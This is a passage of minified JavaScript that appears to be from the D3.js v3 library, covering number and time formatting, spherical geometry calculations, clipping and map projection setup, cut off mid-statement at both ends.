",o=e[2]||">",a=e[3]||"",c=e[4]||"",s=e[5],l=+e[6],f=e[7],h=e[8],g=e[9],p=1,v="",d="",m=!1;switch(h&&(h=+h.substring(1)),(s||"0"===r&&"="===o)&&(s=r="0",o="=",f&&(l-=Math.floor((l-1)/4))),g){case"n":f=!0,g="g";break;case"%":p=100,d="%",g="f";break;case"p":p=100,d="%",g="r";break;case"b":case"o":case"x":case"X":"#"===c&&(v="0"+g.toLowerCase());case"c":case"d":m=!0,h=0;break;case"s":p=-1,g="r"}"$"===c&&(v=u[0],d=u[1]),"r"!=g||h||(g="g"),null!=h&&("g"==g?h=Math.max(1,Math.min(21,h)):("e"==g||"f"==g)&&(h=Math.max(0,Math.min(20,h)))),g=Ka.get(g)||qt;var y=s&&f;return function(n){var e=d;if(m&&n%1)return"";var u=0>n||0===n&&0>1/n?(n=-n,"-"):a;if(0>p){var c=Zo.formatPrefix(n,h);n=c.scale(n),e=c.symbol+d}else n*=p;n=g(n,h);var x=n.lastIndexOf("."),M=0>x?n:n.substring(0,x),_=0>x?"":t+n.substring(x+1);!s&&f&&(M=i(M));var b=v.length+M.length+_.length+(y?0:u.length),w=l>b?new Array(b=l-b+1).join(r):"";return y&&(M=i(w+M)),u+=v,n=M+_,("<"===o?u+n+w:">"===o?w+u+n:"^"===o?w.substring(0,b>>=1)+u+n+w.substring(b):u+(y?n:w+n))+e}}}function qt(n){return n+""}function Rt(){this._=new Date(arguments.length>1?Date.UTC.apply(this,arguments):arguments[0])}function Dt(n,t,e){function r(t){var e=n(t),r=i(e,1);return r-t>t-e?e:r}function u(e){return t(e=n(new nc(e-1)),1),e}function i(n,e){return t(n=new nc(+n),e),n}function o(n,r,i){var o=u(n),a=[];if(i>1)for(;r>o;)e(o)%i||a.push(new Date(+o)),t(o,1);else for(;r>o;)a.push(new Date(+o)),t(o,1);return a}function a(n,t,e){try{nc=Rt;var r=new Rt;return r._=n,o(r,t,e)}finally{nc=Date}}n.floor=n,n.round=r,n.ceil=u,n.offset=i,n.range=o;var c=n.utc=Pt(n);return c.floor=c,c.round=Pt(r),c.ceil=Pt(u),c.offset=Pt(i),c.range=a,n}function Pt(n){return function(t,e){try{nc=Rt;var r=new Rt;return r._=t,n(r,e)._}finally{nc=Date}}}function Ut(n){function t(n){function t(t){for(var e,u,i,o=[],a=-1,c=0;++a<r;)37===n.charCodeAt(a)&&(o.push(n.substring(c,a)),null!=(u=ec[e=n.charAt(++a)])&&(e=n.charAt(++a)),(i=C[e])&&(e=i(t,null==u?"e"===e?" ":"0":u)),o.push(e),c=a+1);return o.push(n.substring(c,a)),o.join("")}var r=n.length;return t.parse=function(t){var r={y:1900,m:0,d:1,H:0,M:0,S:0,L:0,Z:null},u=e(r,n,t,0);if(u!=t.length)return null;"p"in r&&(r.H=r.H%12+12*r.p);var i=null!=r.Z&&nc!==Rt,o=new(i?Rt:nc);return"j"in r?o.setFullYear(r.y,0,r.j):"w"in r&&("W"in r||"U"in r)?(o.setFullYear(r.y,0,1),o.setFullYear(r.y,0,"W"in r?(r.w+6)%7+7*r.W-(o.getDay()+5)%7:r.w+7*r.U-(o.getDay()+6)%7)):o.setFullYear(r.y,r.m,r.d),o.setHours(r.H+Math.floor(r.Z/100),r.M+r.Z%100,r.S,r.L),i?o._:o},t.toString=function(){return n},t}function e(n,t,e,r){for(var u,i,o,a=0,c=t.length,s=e.length;c>a;){if(r>=s)return-1;if(u=t.charCodeAt(a++),37===u){if(o=t.charAt(a++),i=N[o in ec?t.charAt(a++):o],!i||(r=i(n,e,r))<0)return-1}else if(u!=e.charCodeAt(r++))return-1}return r}function r(n,t,e){b.lastIndex=0;var r=b.exec(t.substring(e));return r?(n.w=w.get(r[0].toLowerCase()),e+r[0].length):-1}function u(n,t,e){M.lastIndex=0;var r=M.exec(t.substring(e));return r?(n.w=_.get(r[0].toLowerCase()),e+r[0].length):-1}function i(n,t,e){E.lastIndex=0;var r=E.exec(t.substring(e));return r?(n.m=A.get(r[0].toLowerCase()),e+r[0].length):-1}function o(n,t,e){S.lastIndex=0;var r=S.exec(t.substring(e));return r?(n.m=k.get(r[0].toLowerCase()),e+r[0].length):-1}function a(n,t,r){return e(n,C.c.toString(),t,r)}function c(n,t,r){return e(n,C.x.toString(),t,r)}function s(n,t,r){return e(n,C.X.toString(),t,r)}function l(n,t,e){var r=x.get(t.substring(e,e+=2).toLowerCase());return null==r?-1:(n.p=r,e)}var f=n.dateTime,h=n.date,g=n.time,p=n.periods,v=n.days,d=n.shortDays,m=n.months,y=n.shortMonths;t.utc=function(n){function e(n){try{nc=Rt;var t=new nc;return t._=n,r(t)}finally{nc=Date}}var r=t(n);return e.parse=function(n){try{nc=Rt;var t=r.parse(n);return t&&t._}finally{nc=Date}},e.toString=r.toString,e},t.multi=t.utc.multi=re;var x=Zo.map(),M=Ht(v),_=Ft(v),b=Ht(d),w=Ft(d),S=Ht(m),k=Ft(m),E=Ht(y),A=Ft(y);p.forEach(function(n,t){x.set(n.toLowerCase(),t)});var C={a:function(n){return d[n.getDay()]},A:function(n){return v[n.getDay()]},b:function(n){return y[n.getMonth()]},B:function(n){return m[n.getMonth()]},c:t(f),d:function(n,t){return jt(n.getDate(),t,2)},e:function(n,t){return jt(n.getDate(),t,2)},H:function(n,t){return jt(n.getHours(),t,2)},I:function(n,t){return jt(n.getHours()%12||12,t,2)},j:function(n,t){return jt(1+Qa.dayOfYear(n),t,3)},L:function(n,t){return jt(n.getMilliseconds(),t,3)},m:function(n,t){return jt(n.getMonth()+1,t,2)},M:function(n,t){return jt(n.getMinutes(),t,2)},p:function(n){return p[+(n.getHours()>=12)]},S:function(n,t){return jt(n.getSeconds(),t,2)},U:function(n,t){return jt(Qa.sundayOfYear(n),t,2)},w:function(n){return n.getDay()},W:function(n,t){return jt(Qa.mondayOfYear(n),t,2)},x:t(h),X:t(g),y:function(n,t){return jt(n.getFullYear()%100,t,2)},Y:function(n,t){return jt(n.getFullYear()%1e4,t,4)},Z:te,"%":function(){return"%"}},N={a:r,A:u,b:i,B:o,c:a,d:Wt,e:Wt,H:Gt,I:Gt,j:Jt,L:ne,m:Bt,M:Kt,p:l,S:Qt,U:Yt,w:Ot,W:It,x:c,X:s,y:Vt,Y:Zt,Z:Xt,"%":ee};return t}function jt(n,t,e){var r=0>n?"-":"",u=(r?-n:n)+"",i=u.length;return r+(e>i?new Array(e-i+1).join(t)+u:u)}function Ht(n){return new RegExp("^(?:"+n.map(Zo.requote).join("|")+")","i")}function Ft(n){for(var t=new o,e=-1,r=n.length;++e<r;)t.set(n[e].toLowerCase(),e);return t}function Ot(n,t,e){rc.lastIndex=0;var r=rc.exec(t.substring(e,e+1));return r?(n.w=+r[0],e+r[0].length):-1}function Yt(n,t,e){rc.lastIndex=0;var r=rc.exec(t.substring(e));return r?(n.U=+r[0],e+r[0].length):-1}function It(n,t,e){rc.lastIndex=0;var r=rc.exec(t.substring(e));return r?(n.W=+r[0],e+r[0].length):-1}function Zt(n,t,e){rc.lastIndex=0;var r=rc.exec(t.substring(e,e+4));return r?(n.y=+r[0],e+r[0].length):-1}function Vt(n,t,e){rc.lastIndex=0;var r=rc.exec(t.substring(e,e+2));return r?(n.y=$t(+r[0]),e+r[0].length):-1}function Xt(n,t,e){return/^[+-]\d{4}$/.test(t=t.substring(e,e+5))?(n.Z=-t,e+5):-1}function $t(n){return n+(n>68?1900:2e3)}function Bt(n,t,e){rc.lastIndex=0;var r=rc.exec(t.substring(e,e+2));return r?(n.m=r[0]-1,e+r[0].length):-1}function Wt(n,t,e){rc.lastIndex=0;var r=rc.exec(t.substring(e,e+2));return r?(n.d=+r[0],e+r[0].length):-1}function Jt(n,t,e){rc.lastIndex=0;var r=rc.exec(t.substring(e,e+3));return r?(n.j=+r[0],e+r[0].length):-1}function Gt(n,t,e){rc.lastIndex=0;var r=rc.exec(t.substring(e,e+2));return r?(n.H=+r[0],e+r[0].length):-1}function Kt(n,t,e){rc.lastIndex=0;var r=rc.exec(t.substring(e,e+2));return r?(n.M=+r[0],e+r[0].length):-1}function Qt(n,t,e){rc.lastIndex=0;var r=rc.exec(t.substring(e,e+2));return r?(n.S=+r[0],e+r[0].length):-1}function ne(n,t,e){rc.lastIndex=0;var r=rc.exec(t.substring(e,e+3));return r?(n.L=+r[0],e+r[0].length):-1}function te(n){var t=n.getTimezoneOffset(),e=t>0?"-":"+",r=~~(ua(t)/60),u=ua(t)%60;return e+jt(r,"0",2)+jt(u,"0",2)}function ee(n,t,e){uc.lastIndex=0;var r=uc.exec(t.substring(e,e+1));return r?e+r[0].length:-1}function re(n){for(var t=n.length,e=-1;++e<t;)n[e][0]=this(n[e][0]);return function(t){for(var e=0,r=n[e];!r[1](t);)r=n[++e];return r[0](t)}}function ue(){}function ie(n,t,e){var r=e.s=n+t,u=r-n,i=r-u;e.t=n-i+(t-u)}function oe(n,t){n&&cc.hasOwnProperty(n.type)&&cc[n.type](n,t)}function ae(n,t,e){var r,u=-1,i=n.length-e;for(t.lineStart();++u<i;)r=n[u],t.point(r[0],r[1],r[2]);t.lineEnd()}function ce(n,t){var e=-1,r=n.length;for(t.polygonStart();++e<r;)ae(n[e],t,1);t.polygonEnd()}function se(){function n(n,t){n*=Aa,t=t*Aa/2+ba/4;var e=n-r,o=e>=0?1:-1,a=o*e,c=Math.cos(t),s=Math.sin(t),l=i*s,f=u*c+l*Math.cos(a),h=l*o*Math.sin(a);lc.add(Math.atan2(h,f)),r=n,u=c,i=s}var t,e,r,u,i;fc.point=function(o,a){fc.point=n,r=(t=o)*Aa,u=Math.cos(a=(e=a)*Aa/2+ba/4),i=Math.sin(a)},fc.lineEnd=function(){n(t,e)}}function le(n){var t=n[0],e=n[1],r=Math.cos(e);return[r*Math.cos(t),r*Math.sin(t),Math.sin(e)]}function fe(n,t){return n[0]*t[0]+n[1]*t[1]+n[2]*t[2]}function he(n,t){return[n[1]*t[2]-n[2]*t[1],n[2]*t[0]-n[0]*t[2],n[0]*t[1]-n[1]*t[0]]}function ge(n,t){n[0]+=t[0],n[1]+=t[1],n[2]+=t[2]}function pe(n,t){return[n[0]*t,n[1]*t,n[2]*t]}function ve(n){var t=Math.sqrt(n[0]*n[0]+n[1]*n[1]+n[2]*n[2]);n[0]/=t,n[1]/=t,n[2]/=t}function de(n){return[Math.atan2(n[1],n[0]),G(n[2])]}function me(n,t){return ua(n[0]-t[0])<ka&&ua(n[1]-t[1])<ka}function ye(n,t){n*=Aa;var e=Math.cos(t*=Aa);xe(e*Math.cos(n),e*Math.sin(n),Math.sin(t))}function xe(n,t,e){++hc,pc+=(n-pc)/hc,vc+=(t-vc)/hc,dc+=(e-dc)/hc}function Me(){function n(n,u){n*=Aa;var i=Math.cos(u*=Aa),o=i*Math.cos(n),a=i*Math.sin(n),c=Math.sin(u),s=Math.atan2(Math.sqrt((s=e*c-r*a)*s+(s=r*o-t*c)*s+(s=t*a-e*o)*s),t*o+e*a+r*c);gc+=s,mc+=s*(t+(t=o)),yc+=s*(e+(e=a)),xc+=s*(r+(r=c)),xe(t,e,r)}var t,e,r;wc.point=function(u,i){u*=Aa;var o=Math.cos(i*=Aa);t=o*Math.cos(u),e=o*Math.sin(u),r=Math.sin(i),wc.point=n,xe(t,e,r)}}function _e(){wc.point=ye}function be(){function n(n,t){n*=Aa;var e=Math.cos(t*=Aa),o=e*Math.cos(n),a=e*Math.sin(n),c=Math.sin(t),s=u*c-i*a,l=i*o-r*c,f=r*a-u*o,h=Math.sqrt(s*s+l*l+f*f),g=r*o+u*a+i*c,p=h&&-J(g)/h,v=Math.atan2(h,g);Mc+=p*s,_c+=p*l,bc+=p*f,gc+=v,mc+=v*(r+(r=o)),yc+=v*(u+(u=a)),xc+=v*(i+(i=c)),xe(r,u,i)}var t,e,r,u,i;wc.point=function(o,a){t=o,e=a,wc.point=n,o*=Aa;var c=Math.cos(a*=Aa);r=c*Math.cos(o),u=c*Math.sin(o),i=Math.sin(a),xe(r,u,i)},wc.lineEnd=function(){n(t,e),wc.lineEnd=_e,wc.point=ye}}function we(){return!0}function Se(n,t,e,r,u){var i=[],o=[];if(n.forEach(function(n){if(!((t=n.length-1)<=0)){var t,e=n[0],r=n[t];if(me(e,r)){u.lineStart();for(var a=0;t>a;++a)u.point((e=n[a])[0],e[1]);return u.lineEnd(),void 0}var c=new Ee(e,n,null,!0),s=new Ee(e,null,c,!1);c.o=s,i.push(c),o.push(s),c=new Ee(r,n,null,!1),s=new Ee(r,null,c,!0),c.o=s,i.push(c),o.push(s)}}),o.sort(t),ke(i),ke(o),i.length){for(var a=0,c=e,s=o.length;s>a;++a)o[a].e=c=!c;for(var l,f,h=i[0];;){for(var g=h,p=!0;g.v;)if((g=g.n)===h)return;l=g.z,u.lineStart();do{if(g.v=g.o.v=!0,g.e){if(p)for(var a=0,s=l.length;s>a;++a)u.point((f=l[a])[0],f[1]);else r(g.x,g.n.x,1,u);g=g.n}else{if(p){l=g.p.z;for(var a=l.length-1;a>=0;--a)u.point((f=l[a])[0],f[1])}else r(g.x,g.p.x,-1,u);g=g.p}g=g.o,l=g.z,p=!p}while(!g.v);u.lineEnd()}}}function ke(n){if(t=n.length){for(var t,e,r=0,u=n[0];++r<t;)u.n=e=n[r],e.p=u,u=e;u.n=e=n[0],e.p=u}}function Ee(n,t,e,r){this.x=n,this.z=t,this.o=e,this.e=r,this.v=!1,this.n=this.p=null}function Ae(n,t,e,r){return function(u,i){function o(t,e){var r=u(t,e);n(t=r[0],e=r[1])&&i.point(t,e)}function a(n,t){var e=u(n,t);d.point(e[0],e[1])}function c(){y.point=a,d.lineStart()}function s(){y.point=o,d.lineEnd()}function l(n,t){v.push([n,t]);var e=u(n,t);M.point(e[0],e[1])}function f(){M.lineStart(),v=[]}function h(){l(v[0][0],v[0][1]),M.lineEnd();var n,t=M.clean(),e=x.buffer(),r=e.length;if(v.pop(),p.push(v),v=null,r)if(1&t){n=e[0];var u,r=n.length-1,o=-1;if(r>0){for(_||(i.polygonStart(),_=!0),i.lineStart();++o<r;)i.point((u=n[o])[0],u[1]);i.lineEnd()}}else r>1&&2&t&&e.push(e.pop().concat(e.shift())),g.push(e.filter(Ce))}var g,p,v,d=t(i),m=u.invert(r[0],r[1]),y={point:o,lineStart:c,lineEnd:s,polygonStart:function(){y.point=l,y.lineStart=f,y.lineEnd=h,g=[],p=[]},polygonEnd:function(){y.point=o,y.lineStart=c,y.lineEnd=s,g=Zo.merge(g);var n=Le(m,p);g.length?(_||(i.polygonStart(),_=!0),Se(g,ze,n,e,i)):n&&(_||(i.polygonStart(),_=!0),i.lineStart(),e(null,null,1,i),i.lineEnd()),_&&(i.polygonEnd(),_=!1),g=p=null},sphere:function(){i.polygonStart(),i.lineStart(),e(null,null,1,i),i.lineEnd(),i.polygonEnd()}},x=Ne(),M=t(x),_=!1;return y}}function Ce(n){return n.length>1}function Ne(){var n,t=[];return{lineStart:function(){t.push(n=[])},point:function(t,e){n.push([t,e])},lineEnd:v,buffer:function(){var e=t;return t=[],n=null,e},rejoin:function(){t.length>1&&t.push(t.pop().concat(t.shift()))}}}function ze(n,t){return((n=n.x)[0]<0?n[1]-Sa-ka:Sa-n[1])-((t=t.x)[0]<0?t[1]-Sa-ka:Sa-t[1])}function Le(n,t){var e=n[0],r=n[1],u=[Math.sin(e),-Math.cos(e),0],i=0,o=0;lc.reset();for(var a=0,c=t.length;c>a;++a){var s=t[a],l=s.length;if(l)for(var f=s[0],h=f[0],g=f[1]/2+ba/4,p=Math.sin(g),v=Math.cos(g),d=1;;){d===l&&(d=0),n=s[d];var m=n[0],y=n[1]/2+ba/4,x=Math.sin(y),M=Math.cos(y),_=m-h,b=_>=0?1:-1,w=b*_,S=w>ba,k=p*x;if(lc.add(Math.atan2(k*b*Math.sin(w),v*M+k*Math.cos(w))),i+=S?_+b*wa:_,S^h>=e^m>=e){var E=he(le(f),le(n));ve(E);var A=he(u,E);ve(A);var C=(S^_>=0?-1:1)*G(A[2]);(r>C||r===C&&(E[0]||E[1]))&&(o+=S^_>=0?1:-1)}if(!d++)break;h=m,p=x,v=M,f=n}}return(-ka>i||ka>i&&0>lc)^1&o}function Te(n){var t,e=0/0,r=0/0,u=0/0;return{lineStart:function(){n.lineStart(),t=1},point:function(i,o){var a=i>0?ba:-ba,c=ua(i-e);ua(c-ba)<ka?(n.point(e,r=(r+o)/2>0?Sa:-Sa),n.point(u,r),n.lineEnd(),n.lineStart(),n.point(a,r),n.point(i,r),t=0):u!==a&&c>=ba&&(ua(e-u)<ka&&(e-=u*ka),ua(i-a)<ka&&(i-=a*ka),r=qe(e,r,i,o),n.point(u,r),n.lineEnd(),n.lineStart(),n.point(a,r),t=0),n.point(e=i,r=o),u=a},lineEnd:function(){n.lineEnd(),e=r=0/0},clean:function(){return 2-t}}}function qe(n,t,e,r){var u,i,o=Math.sin(n-e);return ua(o)>ka?Math.atan((Math.sin(t)*(i=Math.cos(r))*Math.sin(e)-Math.sin(r)*(u=Math.cos(t))*Math.sin(n))/(u*i*o)):(t+r)/2}function Re(n,t,e,r){var u;if(null==n)u=e*Sa,r.point(-ba,u),r.point(0,u),r.point(ba,u),r.point(ba,0),r.point(ba,-u),r.point(0,-u),r.point(-ba,-u),r.point(-ba,0),r.point(-ba,u);else if(ua(n[0]-t[0])>ka){var i=n[0]<t[0]?ba:-ba;u=e*i/2,r.point(-i,u),r.point(0,u),r.point(i,u)}else r.point(t[0],t[1])}function De(n){function t(n,t){return Math.cos(n)*Math.cos(t)>i}function e(n){var e,i,c,s,l;return{lineStart:function(){s=c=!1,l=1},point:function(f,h){var g,p=[f,h],v=t(f,h),d=o?v?0:u(f,h):v?u(f+(0>f?ba:-ba),h):0;if(!e&&(s=c=v)&&n.lineStart(),v!==c&&(g=r(e,p),(me(e,g)||me(p,g))&&(p[0]+=ka,p[1]+=ka,v=t(p[0],p[1]))),v!==c)l=0,v?(n.lineStart(),g=r(p,e),n.point(g[0],g[1])):(g=r(e,p),n.point(g[0],g[1]),n.lineEnd()),e=g;else if(a&&e&&o^v){var m;d&i||!(m=r(p,e,!0))||(l=0,o?(n.lineStart(),n.point(m[0][0],m[0][1]),n.point(m[1][0],m[1][1]),n.lineEnd()):(n.point(m[1][0],m[1][1]),n.lineEnd(),n.lineStart(),n.point(m[0][0],m[0][1])))}!v||e&&me(e,p)||n.point(p[0],p[1]),e=p,c=v,i=d},lineEnd:function(){c&&n.lineEnd(),e=null},clean:function(){return l|(s&&c)<<1}}}function r(n,t,e){var r=le(n),u=le(t),o=[1,0,0],a=he(r,u),c=fe(a,a),s=a[0],l=c-s*s;if(!l)return!e&&n;var f=i*c/l,h=-i*s/l,g=he(o,a),p=pe(o,f),v=pe(a,h);ge(p,v);var d=g,m=fe(p,d),y=fe(d,d),x=m*m-y*(fe(p,p)-1);if(!(0>x)){var M=Math.sqrt(x),_=pe(d,(-m-M)/y);if(ge(_,p),_=de(_),!e)return _;var b,w=n[0],S=t[0],k=n[1],E=t[1];w>S&&(b=w,w=S,S=b);var A=S-w,C=ua(A-ba)<ka,N=C||ka>A;if(!C&&k>E&&(b=k,k=E,E=b),N?C?k+E>0^_[1]<(ua(_[0]-w)<ka?k:E):k<=_[1]&&_[1]<=E:A>ba^(w<=_[0]&&_[0]<=S)){var z=pe(d,(-m+M)/y);return ge(z,p),[_,de(z)]}}}function u(t,e){var r=o?n:ba-n,u=0;return-r>t?u|=1:t>r&&(u|=2),-r>e?u|=4:e>r&&(u|=8),u}var i=Math.cos(n),o=i>0,a=ua(i)>ka,c=sr(n,6*Aa);return Ae(t,e,c,o?[0,-n]:[-ba,n-ba])}function Pe(n,t,e,r){return function(u){var i,o=u.a,a=u.b,c=o.x,s=o.y,l=a.x,f=a.y,h=0,g=1,p=l-c,v=f-s;if(i=n-c,p||!(i>0)){if(i/=p,0>p){if(h>i)return;g>i&&(g=i)}else if(p>0){if(i>g)return;i>h&&(h=i)}if(i=e-c,p||!(0>i)){if(i/=p,0>p){if(i>g)return;i>h&&(h=i)}else if(p>0){if(h>i)return;g>i&&(g=i)}if(i=t-s,v||!(i>0)){if(i/=v,0>v){if(h>i)return;g>i&&(g=i)}else if(v>0){if(i>g)return;i>h&&(h=i)}if(i=r-s,v||!(0>i)){if(i/=v,0>v){if(i>g)return;i>h&&(h=i)}else if(v>0){if(h>i)return;g>i&&(g=i)}return h>0&&(u.a={x:c+h*p,y:s+h*v}),1>g&&(u.b={x:c+g*p,y:s+g*v}),u}}}}}}function Ue(n,t,e,r){function u(r,u){return ua(r[0]-n)<ka?u>0?0:3:ua(r[0]-e)<ka?u>0?2:1:ua(r[1]-t)<ka?u>0?1:0:u>0?3:2}function i(n,t){return o(n.x,t.x)}function o(n,t){var e=u(n,1),r=u(t,1);return e!==r?e-r:0===e?t[1]-n[1]:1===e?n[0]-t[0]:2===e?n[1]-t[1]:t[0]-n[0]}return function(a){function c(n){for(var t=0,e=d.length,r=n[1],u=0;e>u;++u)for(var i,o=1,a=d[u],c=a.length,s=a[0];c>o;++o)i=a[o],s[1]<=r?i[1]>r&&W(s,i,n)>0&&++t:i[1]<=r&&W(s,i,n)<0&&--t,s=i;return 0!==t}function s(i,a,c,s){var l=0,f=0;if(null==i||(l=u(i,c))!==(f=u(a,c))||o(i,a)<0^c>0){do s.point(0===l||3===l?n:e,l>1?r:t);while((l=(l+c+4)%4)!==f)}else s.point(a[0],a[1])}function l(u,i){return u>=n&&e>=u&&i>=t&&r>=i}function f(n,t){l(n,t)&&a.point(n,t)}function h(){N.point=p,d&&d.push(m=[]),S=!0,w=!1,_=b=0/0}function g(){v&&(p(y,x),M&&w&&A.rejoin(),v.push(A.buffer())),N.point=f,w&&a.lineEnd()}function p(n,t){n=Math.max(-kc,Math.min(kc,n)),t=Math.max(-kc,Math.min(kc,t));var e=l(n,t);if(d&&m.push([n,t]),S)y=n,x=t,M=e,S=!1,e&&(a.lineStart(),a.point(n,t));else if(e&&w)a.point(n,t);else{var r={a:{x:_,y:b},b:{x:n,y:t}};C(r)?(w||(a.lineStart(),a.point(r.a.x,r.a.y)),a.point(r.b.x,r.b.y),e||a.lineEnd(),k=!1):e&&(a.lineStart(),a.point(n,t),k=!1)}_=n,b=t,w=e}var v,d,m,y,x,M,_,b,w,S,k,E=a,A=Ne(),C=Pe(n,t,e,r),N={point:f,lineStart:h,lineEnd:g,polygonStart:function(){a=A,v=[],d=[],k=!0},polygonEnd:function(){a=E,v=Zo.merge(v);var t=c([n,r]),e=k&&t,u=v.length;(e||u)&&(a.polygonStart(),e&&(a.lineStart(),s(null,null,1,a),a.lineEnd()),u&&Se(v,i,t,s,a),a.polygonEnd()),v=d=m=null}};return N}}function je(n,t){function e(e,r){return e=n(e,r),t(e[0],e[1])}return n.invert&&t.invert&&(e.invert=function(e,r){return e=t.invert(e,r),e&&n.invert(e[0],e[1])}),e}function He(n){var t=0,e=ba/3,r=tr(n),u=r(t,e);return u.parallels=function(n){return arguments.length?r(t=n[0]*ba/180,e=n[1]*ba/180):[180*(t/ba),180*(e/ba)]},u}function Fe(n,t){function e(n,t){var e=Math.sqrt(i-2*u*Math.sin(t))/u;return[e*Math.sin(n*=u),o-e*Math.cos(n)]}var r=Math.sin(n),u=(r+Math.sin(t))/2,i=1+r*(2*u-r),o=Math.sqrt(i)/u;return e.invert=function(n,t){var e=o-t;return[Math.atan2(n,e)/u,G((i-(n*n+e*e)*u*u)/(2*u))]},e}function Oe(){function n(n,t){Ac+=u*n-r*t,r=n,u=t}var t,e,r,u;Tc.point=function(i,o){Tc.point=n,t=r=i,e=u=o},Tc.lineEnd=function(){n(t,e)}}function Ye(n,t){Cc>n&&(Cc=n),n>zc&&(zc=n),Nc>t&&(Nc=t),t>Lc&&(Lc=t)}function Ie(){function n(n,t){o.push("M",n,",",t,i)}function t(n,t){o.push("M",n,",",t),a.point=e}function e(n,t){o.push("L",n,",",t)}function r(){a.point=n}function u(){o.push("Z")}var i=Ze(4.5),o=[],a={point:n,lineStart:function(){a.point=t},lineEnd:r,polygonStart:function(){a.lineEnd=u},polygonEnd:function(){a.lineEnd=r,a.point=n},pointRadius:function(n){return i=Ze(n),a},result:function(){if(o.length){var n=o.join("");return o=[],n}}};return a}function Ze(n){return"m0,"+n+"a"+n+","+n+" 0 1,1 0,"+-2*n+"a"+n+","+n+" 0 1,1 0,"+2*n+"z"}function Ve(n,t){pc+=n,vc+=t,++dc}function Xe(){function n(n,r){var u=n-t,i=r-e,o=Math.sqrt(u*u+i*i);mc+=o*(t+n)/2,yc+=o*(e+r)/2,xc+=o,Ve(t=n,e=r)}var t,e;Rc.point=function(r,u){Rc.point=n,Ve(t=r,e=u)}}function $e(){Rc.point=Ve}function Be(){function n(n,t){var e=n-r,i=t-u,o=Math.sqrt(e*e+i*i);mc+=o*(r+n)/2,yc+=o*(u+t)/2,xc+=o,o=u*n-r*t,Mc+=o*(r+n),_c+=o*(u+t),bc+=3*o,Ve(r=n,u=t)}var t,e,r,u;Rc.point=function(i,o){Rc.point=n,Ve(t=r=i,e=u=o)},Rc.lineEnd=function(){n(t,e)}}function We(n){function t(t,e){n.moveTo(t,e),n.arc(t,e,o,0,wa)}function e(t,e){n.moveTo(t,e),a.point=r}function r(t,e){n.lineTo(t,e)}function u(){a.point=t}function i(){n.closePath()}var o=4.5,a={point:t,lineStart:function(){a.point=e},lineEnd:u,polygonStart:function(){a.lineEnd=i},polygonEnd:function(){a.lineEnd=u,a.point=t},pointRadius:function(n){return o=n,a},result:v};return a}function Je(n){function t(n){return(a?r:e)(n)}function e(t){return Qe(t,function(e,r){e=n(e,r),t.point(e[0],e[1])})}function r(t){function e(e,r){e=n(e,r),t.point(e[0],e[1])}function r(){x=0/0,S.point=i,t.lineStart()}function i(e,r){var i=le([e,r]),o=n(e,r);u(x,M,y,_,b,w,x=o[0],M=o[1],y=e,_=i[0],b=i[1],w=i[2],a,t),t.point(x,M)}function o(){S.point=e,t.lineEnd()}function c(){r(),S.point=s,S.lineEnd=l}function s(n,t){i(f=n,h=t),g=x,p=M,v=_,d=b,m=w,S.point=i}function l(){u(x,M,y,_,b,w,g,p,f,v,d,m,a,t),S.lineEnd=o,o()}var f,h,g,p,v,d,m,y,x,M,_,b,w,S={point:e,lineStart:r,lineEnd:o,polygonStart:function(){t.polygonStart(),S.lineStart=c},polygonEnd:function(){t.polygonEnd(),S.lineStart=r}};return S}function u(t,e,r,a,c,s,l,f,h,g,p,v,d,m){var y=l-t,x=f-e,M=y*y+x*x;if(M>4*i&&d--){var _=a+g,b=c+p,w=s+v,S=Math.sqrt(_*_+b*b+w*w),k=Math.asin(w/=S),E=ua(ua(w)-1)<ka||ua(r-h)<ka?(r+h)/2:Math.atan2(b,_),A=n(E,k),C=A[0],N=A[1],z=C-t,L=N-e,T=x*z-y*L;(T*T/M>i||ua((y*z+x*L)/M-.5)>.3||o>a*g+c*p+s*v)&&(u(t,e,r,a,c,s,C,N,E,_/=S,b/=S,w,d,m),m.point(C,N),u(C,N,E,_,b,w,l,f,h,g,p,v,d,m))}}var i=.5,o=Math.cos(30*Aa),a=16;
1 return t.precision=function(n){return arguments.length?(a=(i=n*n)>0&&16,t):Math.sqrt(i)},t}function Ge(n){var t=Je(function(t,e){return n([t*Ca,e*Ca])});return function(n){return er(t(n))}}function Ke(n){this.stream=n}function Qe(n,t){return{point:t,sphere:function(){n.sphere()},lineStart:function(){n.lineStart()},lineEnd:function(){n.lineEnd()},polygonStart:function(){n.polygonStart()},polygonEnd:function(){n.polygonEnd()}}}function nr(n){return tr(function(){return n})()}function tr(n){function t(n){return n=a(n[0]*Aa,n[1]*Aa),[n[0]*h+c,s-n[1]*h]}function e(n){return n=a.invert((n[0]-c)/h,(s-n[1])/h),n&&[n[0]*Ca,n[1]*Ca]}function r(){a=je(o=ir(m,y,x),i);var n=i(v,d);return c=g-n[0]*h,s=p+n[1]*h,u()}function u(){return l&&(l.valid=!1,l=null),t}var i,o,a,c,s,l,f=Je(function(n,t){return n=i(n,t),[n[0]*h+c,s-n[1]*h]}),h=150,g=480,p=250,v=0,d=0,m=0,y=0,x=0,M=Sc,_=wt,b=null,w=null;return t.stream=function(n){return l&&(l.valid=!1),l=er(M(o,f(_(n)))),l.valid=!0,l},t.clipAngle=function(n){return arguments.length?(M=null==n?(b=n,Sc):De((b=+n)*Aa),u()):b},t.clipExtent=function(n){return arguments.length?(w=n,_=n?Ue(n[0][0],n[0][1],n[1][0],n[1][1]):wt,u()):w},t.scale=function(n){return arguments.length?(h=+n,r()):h},t.translate=function(n){return arguments.length?(g=+n[0],p=+n[1],r()):[g,p]},t.center=function(n){return arguments.length?(v=n[0]%360*Aa,d=n[1]%360*Aa,r()):[v*Ca,d*Ca]},t.rotate=function(n){return arguments.length?(m=n[0]%360*Aa,y=n[1]%360*Aa,x=n.length>2?n[2]%360*Aa:0,r()):[m*Ca,y*Ca,x*Ca]},Zo.rebind(t,f,"precision"),function(){return i=n.apply(this,arguments),t.invert=i.invert&&e,r()}}function er(n){return Qe(n,function(t,e){n.point(t*Aa,e*Aa)})}function rr(n,t){return[n,t]}function ur(n,t){return[n>ba?n-wa:-ba>n?n+wa:n,t]}function ir(n,t,e){return n?t||e?je(ar(n),cr(t,e)):ar(n):t||e?cr(t,e):ur}function or(n){return function(t,e){return t+=n,[t>ba?t-wa:-ba>t?t+wa:t,e]}}function ar(n){var t=or(n);return t.invert=or(-n),t}function cr(n,t){function e(n,t){var e=Math.cos(t),a=Math.cos(n)*e,c=Math.sin(n)*e,s=Math.sin(t),l=s*r+a*u;return[Math.atan2(c*i-l*o,a*r-s*u),G(l*i+c*o)]}var r=Math.cos(n),u=Math.sin(n),i=Math.cos(t),o=Math.sin(t);return e.invert=function(n,t){var 